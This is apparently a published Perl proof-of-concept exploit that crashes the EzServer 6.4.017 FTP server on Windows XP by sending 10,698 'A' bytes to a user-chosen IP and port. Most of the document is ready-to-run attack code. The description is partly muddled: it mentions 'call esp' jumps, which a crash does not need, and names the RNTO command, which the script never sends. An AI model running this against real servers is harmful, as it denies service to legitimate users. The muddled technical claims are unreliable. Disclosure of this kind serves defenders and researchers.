#!/usr/bin/perl use IO::Socket; # Exploit Title: EzServer 6.4.017 - Denied of Service (DoS) # Discovery by: Fernando Mengali # Discovery Date: 22 january 2024 # Vendor Homepage: N/A # Download to demo: https://drive.google.com/file/d/1hCYYsWsyeuoHTh3ZosNRbtIBxw0culsu/view?usp=sharing # Notification vendor: No reported # Tested Version: EzServer 6.4.017 - Denied of Service (DoS) # Tested on: Window XP Professional - Service Pack 2 and 3 - English # Vulnerability Type: Denied of Service (DoS) #1. Description #His technique works fine against Windows XP Professional Service Pack 2 and 3 (English). #For this exploit I have tried several strategies to increase reliability and performance: #Jump to a static 'call esp' #Backwards jump to code a known distance from the stack pointer. #The FTP server does not correctly handle the amount of data or bytes sent to command RNTO. #When authenticating to the FTP server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denied of service conditions. #Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users. #2. Proof of Concept - PoC $sis="$^O"; if ($sis eq "windows"){ $cmd="cls"; } else { $cmd="clear"; } system("$cmd"); intro(); main(); print "[+] Exploiting... \n"; my $payload = "\x41"x10698; my $sock = IO::Socket::INET->new(PeerAddr => $ip, PeerPort => $port, Proto => 'tcp') or die "[-] Could not connect!\n"; $sock->send($payload); $sock->close(); print "[+] Done - Exploited success!!!!!\n\n"; sub intro { print q { _/| // o\ || ._) //__\ )___( [+] EzServer 6.4.017 - Denied of Service (DoS) [*] Coded by Fernando Mengali [@] e-mail: [email protected] } } sub main { our ($ip, $port) = @ARGV; unless (defined($ip) && defined($port)) { print " \nUsage: $0 <ip> <port> \n"; exit(-1); } }